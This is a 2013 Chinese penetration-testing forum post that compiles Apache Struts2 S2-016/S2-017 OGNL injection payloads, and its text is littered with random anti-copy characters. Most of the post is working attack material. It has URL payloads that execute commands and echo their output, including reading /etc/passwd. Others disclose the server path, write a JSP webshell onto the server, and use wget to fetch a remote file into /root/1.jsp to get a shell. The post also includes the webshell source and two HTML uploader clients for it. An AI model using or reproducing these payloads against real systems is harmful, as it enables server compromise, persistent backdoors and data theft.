中国网络渗透测试联盟

标题: Struts2 S2-016/S2-017漏洞执行代码 [打印本页]

作者: admin    时间: 2013-7-18 23:03
标题: Struts2 S2-016/S2-017漏洞执行代码
大家都发了,,我就整理了一下。友情提示,自己小命比shell重要哦。。
( }, P/ A# _- \: d
( k" I  F' L4 X" f喜欢就点一下感谢吧^_^8 R( H2 W( W, S" c; [

! Z) L1 y  @. W; t带回显命令执行:
2 t! r" R5 n* _1 x* Y! ?% f3 O5 o% p' p9 j' p" W+ ^" _
http://www.example.com/struts2-blank/example/X.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
/ s: ]( H& D$ S6 h5 L2 v3 j
0 k# F) C. V4 C# _9 B& r, r$ i/ |" A1 P$ I0 p; s0 i& v1 E

; f$ k3 l6 u0 Z8 m! o# O: s. Q- m& b; g" _4 I/ t1 [- l6 e! H
! X+ e: Q" K" }, V5 U3 `8 A. b
6 ?! e* B6 w1 _

5 t3 ?/ f; E! c0 l爆路径:9 M. {( G7 M% t5 O* B6 E) m9 z: }

+ M/ u8 u$ L3 p( E6 Zhttp://www.example.com/struts2-b ... 8%29.close%28%29%7D
  G# a3 {$ k4 W; C  c4 R( J0 ~8 z) r1 x' N. h5 a
, a0 @5 l% M9 M1 |! }1 q5 M# n. }2 X5 p

9 T. h( T  J, J$ B' @4 i% b3 b/ B
2 `& v$ k' ]) P- T+ [) T# M/ x, C+ Y% M  Z
写文件:" |# ?/ g  o8 U
5 E3 ^/ R2 X! G. h# \
http://www.example.com/struts2-blank/example/X.action?redirect:${
6 F+ w! O. z$ Z" }
( @7 ~4 \/ T, z9 o2 w%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
- h# {- B  {$ M  {. S8 k1 {. U! e5 o) _1 }
%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\\\", "/"),
# M. ~* e8 w- w! s+ w: O+ \; n$ J! q6 p4 E/ s
new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()
) g0 Y. a9 k( V' {  n6 ~/ b' w1 U# r
}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e* I! n2 g9 n; W" k/ f9 @4 J/ g/ i
$ z. ~: l/ ^7 o. U+ V

3 t7 @1 L: A* |3 d- g8 O* M
5 W; I! j7 A; r9 J0 ?写入的文件内容:+ O, I. o2 g$ ]$ N8 m3 V
; R  Y3 C& i4 P$ X
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>      
  G0 V" T, z! U, k9 j( p
7 s! D) s% _7 l6 M' {其实就是一个jsp的小马,需要客户端配合                                                                                 
# P( R# s  U# h( M7 R4 q, X3 t$ ?" a- ~: l- v& W
函数f是文件名,t是内容
1 r* a( M1 D' d# v9 [# R( q/ H  n  L6 y4 c5 }. m
客户端:
( W% E; m2 `# Z8 |( }4 \% P: n1 Z( X; R* e7 X# ?
<form action="http://www.example.com/struts2-blank/example/css3.jsp?f=fjp.jsp" method="post">8 @7 {2 x8 e  \6 A2 r/ h( s

/ j+ g; K1 \7 E<textarea name=t cols=120 rows=10 width=45>your code</textarea>! S- F, g4 L2 h+ ?, E
$ C% D' r, P7 p0 d* x
<center>3 i9 w% h. T9 M- s3 ~! z, q
2 j; H8 F: `* }

, w% V4 |% R0 [' C6 h
! f- ^3 G/ D/ g<input type=submit value="提交">
( r3 h9 f2 @# {
# U7 V& n( v: a</form>$ `+ O3 I1 p! }" W! G% H

" g+ R$ f4 B' k0 q: O5 c0 m( Q就在当前目录建立一个fjp.jsp) s  u3 Z& N! u1 u
$ D7 Z3 J" N* T- r. Q
shell:http://www.example.com/struts2-blank/example/fjp.jsp. c3 x9 }! D# E) [( {

0 K& a& c8 `. ?1 C4 A( O' L' T- r  e' P8 t& U( D9 o
$ c7 B+ K0 z- D% c: y9 x" H
还有@园长的一个客户端:
8 n3 Z* r. b2 {3 D; h" T; g0 J- r+ \5 Y
<html>! Q" T) `: O( p6 F( ?: Q% b

- q0 p$ @! C* q/ B7 P' {; b<head>
  ?1 M6 F% @8 ?( h$ O- s
; h7 A& H: a. G2 ~0 s+ f<meta http-equiv="content-type" content="text/html;charset=utf-8">
5 y& ], `0 U6 u  r$ h: G3 ~- `+ C$ E$ {( L
<title>jsp-园长</title>
& Z3 w& A) M5 ?- m1 X1 f0 l5 N2 A0 m' {
</head>
8 {$ ~6 r- G' `# m; W5 L, q" H9 P3 h" I, c
<style>6 J, [0 D4 I- e2 h, g- H

* ~4 @+ t! x" a& h.main{width:980px;height:600px;margin:0 auto;}3 X9 s; w* V; }* y9 Z
; R# C" g1 J2 P
.url{width:300px;}
* N( X/ ~* }1 x/ y$ F: N& g) _+ K3 i% n8 A$ T& `
.fn{width:60px;}
9 D. \, d% {8 y3 ~. C( X# w  l
- j9 H& v, w7 w.content{width:80%;height:60%;}
1 p4 x5 j0 Z' {
8 Y- F5 W% G, G</style>6 w" I% c0 t; k
- H, _, p5 C' A9 X
<script>
. ~) t) c  s2 @6 h, v7 m
$ |1 q& ]1 g, V9 z5 E3 ^  function upload(){
/ `* d, B- v# o. b3 P) i1 W. i9 d: S; J0 @+ D2 K
    var url = document.getElementById('url').value,
) j) E* q( j/ y! S# j/ X0 `0 I. {# {% `5 O
      content = document.getElementById('content').value,
! f" i( w4 @) V, q0 T
: `: ]# S! }% L9 N# V! \      fileName = document.getElementById('fn').value,
! x# |5 ~5 v7 x1 l  W7 x# I& L/ k$ x* v
      form = document.getElementById('fm');+ h% ^1 \+ A" k

5 e0 w' M+ Q( w$ h5 h6 c    if(url.length == 0){
$ u* K, H2 X( Y* E: J+ Q
9 J) ~0 M7 w+ d: a2 i, ^      alert("Url not allowd empty!");
/ ]" n. h# e7 B' H. ?
" u6 G- [" I  g. Y4 R      return ;2 d* M6 L; i- ?& k

; O7 H* O& ?/ _6 n. U3 Y8 K    }
' }0 H: x' q' l* J' l3 S
8 m8 p3 P2 f8 a7 W# Z4 X% c    if(content.length == 0){
# `: K" N) G' H
! `- W: E# `- W9 I1 f" H: i( r7 _      alert("Content not allowd empty!");, F3 K; R; T$ G8 u( x) Y

5 o# \% A  B+ @& r! p6 y1 U      return ;
! B: T. b" }  J  G' m* E' z9 R4 q) ~( p' g" W+ u4 U0 s/ F$ N& B0 d$ N  b
    }, x' y/ r6 K: H. Q

+ C# a' z0 o! ^2 c    if(fileName.length == 0){" ?3 P) ~% [( a8 ~, g! ?

- g2 Q1 U3 T& ]' H3 d1 v2 ]4 v' E      alert("FileName not allowd empty!");) d0 |+ E; a% N/ R' |( H" \* g; O

4 F6 ^5 q" T# w3 H( B% H      return ;
1 }/ \. j" M' P9 T5 c& h/ L: Y3 T* n2 T8 ?# F: j0 c9 W
    }9 g3 z/ C7 c! O' a/ b

6 ~8 p7 |0 u. _- I4 T4 ^. x# H    form.action = url;+ Q4 C1 ]1 ]4 X$ _' \" a* V

4 N/ N; W; P( U0 I9 V    form.submit();
  G  |" ]8 v- T  B( G; x3 G' r* D0 e: n% I  y0 I9 O" l1 e
  }( r4 Q) h5 M/ C- V! s$ N  U* s

) M( t1 b! W1 h* {</script>7 B9 G0 _3 S2 S7 j0 `: E: x4 p
) Z! D$ y& p3 C# Z' S1 J" [0 E
<body>4 J, e5 Q8 y! D, p2 H. X, N
% Q% k$ Q0 \/ l& j: N4 M1 _
<div class="main">
" V( @* `" I; {* U' A9 m4 Y) G4 x- S. e* ~& T3 }1 E$ ]
  <form id="fm" method="post">  
- {& _. P# W$ r  k  R* V1 Z3 @5 {* h4 n
    URL:<input type="text" value="http://localhost/Struts2/css3.jsp" class="url" id="url"/>  2 C" K: k: \% [6 F0 F$ [9 @# y9 t) Z
* z4 k( Q) E; _& f5 s. ]  R
    FileName:<input type="text" name="f" value="css.jsp" class="fn" id="fn" />  * I' Q* {" o; A. `' a3 g6 i3 [
  ^8 Y$ D# o1 {* X
    <a href="javascript:upload();">Upload</a>' \/ f. {" K1 }
0 e: [" c0 h" o
; B. z3 }1 F2 }( ~8 R  B
! g( A$ B- T; k4 A
    <textarea id="content" class="content" name="t" ></textarea>( B. t8 S, f5 l4 t% O$ q

+ D7 }# s, g( |% V' d  </form>- V2 _6 P3 X- o" c( q" a
1 O! K; Y$ `) `8 L1 T
</div>$ Q* \# B1 `" `/ M9 C8 j5 C
+ K/ Q& O+ ?! y) G0 V
</body>; B- l% }6 |  c9 D
; O" ]0 @( w$ j6 j2 y- o
</html>( z6 I' l' a8 O0 c( x# l( S9 Y

2 i5 s* F( k0 K1 s6 P1 P+ z+ y0 W3 d& `! J1 W
* g9 ]: }9 A8 o0 R# E
还有@X发的一个wget的getshell
0 K0 P+ U! y& }" W  G# \# m* ~
0 ~: q" O! @* ~" w?redirect{%23a%3d(new  java.lang.ProcessBuilder(new java.lang.String[]{'wget','http://www.url.com/xx.txt','- O','/root/1.jsp'}1 ?) u' o# O5 D8 [2 i+ h6 u

! Y) y: n. e/ I, e' O8 M)).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b), %23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e), %23piaoye%3d%23context.get ('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23piaoye.getWriter().println (%23e),%23piaoye.getWriter().flush(),%23piaoye.getWriter().close()}: K) Y4 a2 f' o, u
复制代码




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2